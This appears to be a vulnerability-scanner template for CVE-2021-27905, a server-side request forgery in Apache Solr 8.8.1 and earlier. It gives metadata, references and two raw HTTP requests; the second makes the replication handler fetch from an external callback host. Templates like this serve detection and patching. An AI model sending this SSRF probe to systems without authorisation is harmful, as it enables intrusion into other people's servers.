id: CVE-2021-27905 info: name: Apache Solr <=8.8.1 - Server-Side Request Forgery author: hackergautam severity: critical description: Apache Solr versions 8.8.1 and prior contain a server-side request forgery vulnerability. The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the "shards" parameter. remediation: This issue is resolved in Apache Solr 8.8.2 and later. reference: - https://www.anquanke.com/post/id/238201 - https://ubuntu.com/security/CVE-2021-27905 - https://nvd.nist.gov/vuln/detail/CVE-2021-27905 - https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/ - https://lists.apache.org/thread.html/r0ddc3a82bd7523b1453cb7a5e09eb5559517145425074a42eb326b10%40%3Cannounce.apache.org%3E classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-27905 cwe-id: CWE-918 epss-score: 0.97292 epss-percentile: 0.99818 cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: apache product: solr tags: cve,cve2021,apache,solr,ssrf http: - raw: - | GET /solr/admin/cores?wt=json HTTP/1.1 Host: {{Hostname}} Accept-Language: en Connection: close - | GET /solr/{{core}}/replication/?command=fetchindex&masterUrl=https://interact.sh HTTP/1.1 Host: {{Hostname}} Accept-Language: en Connection: close matchers: - type: word part: body words: - 'OK' extractors: - type: regex name: core group: 1 regex: - '"name"\:"(.*?)"' internal: true # digest: 4a0a004730450220394b2a5d22a60535f74d745117252f691e56c0f19c7e12d312a49a7c7953cd720221009945d73139becdda09e7c31a4a8fb2298daa00806681f1a2cc346445d16d37c5:922c64590222798bb761d5b6d8e72950